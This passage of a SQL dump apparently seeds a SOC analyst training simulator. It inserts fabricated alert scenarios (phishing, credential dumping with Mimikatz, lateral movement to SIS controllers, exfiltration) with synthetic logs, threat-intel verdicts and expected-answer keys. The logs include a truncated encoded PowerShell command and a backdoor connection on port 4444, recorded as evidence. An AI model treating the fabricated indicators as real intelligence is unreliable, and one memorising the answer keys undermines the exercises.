Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(827, 'Establishing Persistence', 'medium', 'Network Traffic Analysis', 'An unusual outbound connection was detected from an internal host to a known malicious IP address. Further analysis revealed the installation of a backdoor that allows persistent access to the compromised system.', 'Backdoor Installation', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"203.0.113.56\",\"protocol\":\"TCP\",\"dst_port\":4444,\"filename\":\"persistence_backdoor.exe\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0\",\"user\":\"jdoe\",\"event\":\"Outbound connection detected\",\"threat_level\":\"medium\",\"description\":\"Outbound traffic from internal host to a known malicious IP associated with backdoor activity.\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple backdoor campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"persistence_backdoor.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAnalysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual executable name for user jdoe.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(828, 'Lateral Movement to SIS Controllers', 'high', 'Internal Network Logs', 'The attackers, having established persistence on the network, are attempting lateral movement targeting Triconex SIS controllers. This step involves the use of known malicious IPs and tools to gain access to critical safety systems.', 'Network Propagation', 'T1021 - Remote Services', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:30Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.0.0.50\",\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"triconex_exploit.exe\",\"username\":\"admin_sis\",\"event\":\"connection_attempt\",\"status\":\"allowed\",\"description\":\"Connection attempt from internal workstation to SIS controller using known malware tool.\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"internal\",\"details\":\"IP of targeted SIS controller.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Triconex-targeting malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"triconex_exploit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"malicious\",\"details\":\"Malware file used in the attack.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"admin_sis\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"internal\",\"details\":\"Username used in the lateral movement attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(829, 'Exfiltration of System Configurations', 'high', 'Data Loss Prevention Systems', 'As the final step in their operation, attackers have successfully exfiltrated sensitive system configurations. This data is likely being analyzed to refine future attacks, posing a significant threat to the integrity of our systems.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"dlp-202310151435\",\"source_ip\":\"192.168.20.45\",\"destination_ip\":\"203.0.113.5\",\"user\":\"jdoe\",\"filename\":\"system_configs.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"status\":\"successful\",\"details\":\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.20.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_reputation\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"system_configs.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive configurations.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_reputation\",\"verdict\":\"malicious\",\"details\":\"Hash of exfiltrated file linked to malicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_accounts\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(830, 'Initial Access via Phishing', 'high', 'Email gateway logs', 'The attackers initiated their campaign by sending targeted phishing emails to HSE employees, embedding malicious attachments designed to exploit vulnerabilities and install ransomware.', 'Spear-phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T10:45:30Z\",\"email_id\":\"abc123xyz\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"sender_email\":\"attacker@malicious.com\",\"recipient_email\":\"employee@hse.gov\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_2023.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\"}', '2026-01-13 01:56:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP address associated with multiple campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Reported as phishing email sender.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing\",\"date\":\"2026-02-01T20:32:22.489Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(831, 'Lateral Movement Detected', 'high', 'Network traffic analysis', 'Network traffic analysis detected suspicious lateral movement activity. The attackers used credential dumping techniques to gain access to additional systems within the HSE network, targeting critical systems managing the COVID-19 vaccination program.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"event_type\":\"credential_access\",\"tool_used\":\"Mimikatz\",\"dump_file\":\"lsass.dmp\",\"username\":\"admin_user\",\"hash\":\"3b8e7f212f4f9b5a1c6c7a95b7e6d3e6\",\"alert_id\":\"alert_12345\",\"description\":\"Credential dumping attempt detected from external IP targeting HSE internal network.\"}', '2026-01-13 01:56:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Critical server within HSE network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b8e7f212f4f9b5a1c6c7a95b7e6d3e6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz credential dumping tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Security Logs\",\"verdict\":\"suspicious\",\"details\":\"File often used in credential dumping attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account with administrative privileges.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(832, 'Data Exfiltration and Encryption - Step 3', 'critical', 'Data flow monitoring', 'During the ongoing attack operation, an unauthorized data transfer was detected from the internal network to an external IP. 700GB of sensitive data was exfiltrated before ransomware encryption commenced. The attack was aimed at disrupting HSE\'s operations.', 'Data Exfiltration', 'T1020', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"bytes_sent\":750000000,\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"confidential_data_export.zip\",\"username\":\"jdoe\",\"action\":\"data_transfer\",\"status\":\"Success\"}', '2026-01-13 01:56:44', '2026-02-16 17:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to a large archive potentially containing sensitive data.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data_export.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"File name matches patterns of unauthorized data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Active employee with access to sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(833, 'Critical Malware Execution Detected on Linux Server', 'critical', 'Syslog', 'A potentially malicious binary was executed on a Linux server. The file hash is associated with known malware.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T03:45:18Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"webadmin\",\"hostname\":\"server01\",\"command_line\":\"/usr/bin/python3 /tmp/malicious_script.py\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-14 15:19:37', '2026-02-16 17:57:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/python3 /tmp/malicious_script.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known Python-based malware script\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with multiple malware families\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash and command line execution are indicative of a malware infection. Immediate action is required.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 